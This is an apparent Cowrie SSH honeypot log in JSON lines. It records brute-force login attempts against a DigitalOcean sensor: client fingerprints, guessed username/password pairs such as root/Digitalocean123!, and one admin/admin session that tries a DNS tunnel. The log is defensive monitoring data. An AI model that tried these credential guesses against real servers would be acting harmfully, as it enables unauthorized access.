{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:15.285883Z","src_ip":"87.251.64.176","session":"2b60e7c74120","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:15.701674Z","src_ip":"87.251.64.176","session":"2b60e7c74120","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:15.801565Z","session":"2b60e7c74120","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:15.901942Z","src_ip":"87.251.64.176","session":"2b60e7c74120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:16.004627Z","src_ip":"87.251.64.176","session":"2b60e7c74120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":53194,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c457f8589a2","protocol":"ssh","message":"New connection: 193.24.211.100:53194 (159.203.135.109:22) [session: 8c457f8589a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:18.482318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:18.493435Z","src_ip":"193.24.211.100","session":"8c457f8589a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:18.603252Z","src_ip":"193.24.211.100","session":"8c457f8589a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe!@#","message":"login attempt [root/qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:19.027922Z","src_ip":"193.24.211.100","session":"8c457f8589a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:20.141404Z","src_ip":"193.24.211.100","session":"8c457f8589a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34186,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b73ec7802c1","protocol":"ssh","message":"New connection: 103.15.226.202:34186 (10.17.0.5:22) [session: 7b73ec7802c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:46.603926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:46.608949Z","src_ip":"103.15.226.202","session":"7b73ec7802c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:46.878082Z","src_ip":"103.15.226.202","session":"7b73ec7802c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"obfspassword","message":"login attempt [root/obfspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:47.649493Z","src_ip":"103.15.226.202","session":"7b73ec7802c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:48.908367Z","src_ip":"103.15.226.202","session":"7b73ec7802c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":38388,"dst_ip":"10.17.0.5","dst_port":22,"session":"8955034695e4","protocol":"ssh","message":"New connection: 190.181.25.210:38388 (10.17.0.5:22) [session: 8955034695e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:51.469618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:51.475282Z","src_ip":"190.181.25.210","session":"8955034695e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:51.598248Z","src_ip":"190.181.25.210","session":"8955034695e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"123456","message":"login attempt [ts3server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:52.105610Z","src_ip":"190.181.25.210","session":"8955034695e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:53.226777Z","src_ip":"190.181.25.210","session":"8955034695e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":52976,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ed96ac0f79e","protocol":"ssh","message":"New connection: 98.70.48.241:52976 (10.17.0.5:22) [session: 5ed96ac0f79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:09.666643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:09.673195Z","src_ip":"98.70.48.241","session":"5ed96ac0f79e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:09.863740Z","src_ip":"98.70.48.241","session":"5ed96ac0f79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-user","password":"test","message":"login attempt [ftp-user/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:10.648859Z","src_ip":"98.70.48.241","session":"5ed96ac0f79e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:11.841569Z","src_ip":"98.70.48.241","session":"5ed96ac0f79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":53796,"dst_ip":"10.17.0.5","dst_port":22,"session":"f224ff012c31","protocol":"ssh","message":"New connection: 57.128.223.80:53796 (10.17.0.5:22) [session: f224ff012c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:28.169009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:28.275076Z","src_ip":"57.128.223.80","session":"f224ff012c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:28.372377Z","src_ip":"57.128.223.80","session":"f224ff012c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"11111111","message":"login attempt [test/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:28.974491Z","src_ip":"57.128.223.80","session":"f224ff012c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:30.079693Z","src_ip":"57.128.223.80","session":"f224ff012c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":46443,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d89c3e50edd","protocol":"ssh","message":"New connection: 190.181.25.210:46443 (10.17.0.5:22) [session: 0d89c3e50edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:48.193883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:48.200366Z","src_ip":"190.181.25.210","session":"0d89c3e50edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:48.321028Z","src_ip":"190.181.25.210","session":"0d89c3e50edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digitalocean123!","message":"login attempt [root/Digitalocean123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:48.835647Z","src_ip":"190.181.25.210","session":"0d89c3e50edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:37:49.960788Z","src_ip":"190.181.25.210","session":"0d89c3e50edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":38908,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c13af3da5c5","protocol":"ssh","message":"New connection: 98.70.48.241:38908 (10.17.0.5:22) [session: 0c13af3da5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:09.537015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:09.542763Z","src_ip":"98.70.48.241","session":"0c13af3da5c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:09.728228Z","src_ip":"98.70.48.241","session":"0c13af3da5c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test001","password":"123456","message":"login attempt [test001/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:10.494113Z","src_ip":"98.70.48.241","session":"0c13af3da5c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:11.683348Z","src_ip":"98.70.48.241","session":"0c13af3da5c5","protocol":"ssh"}
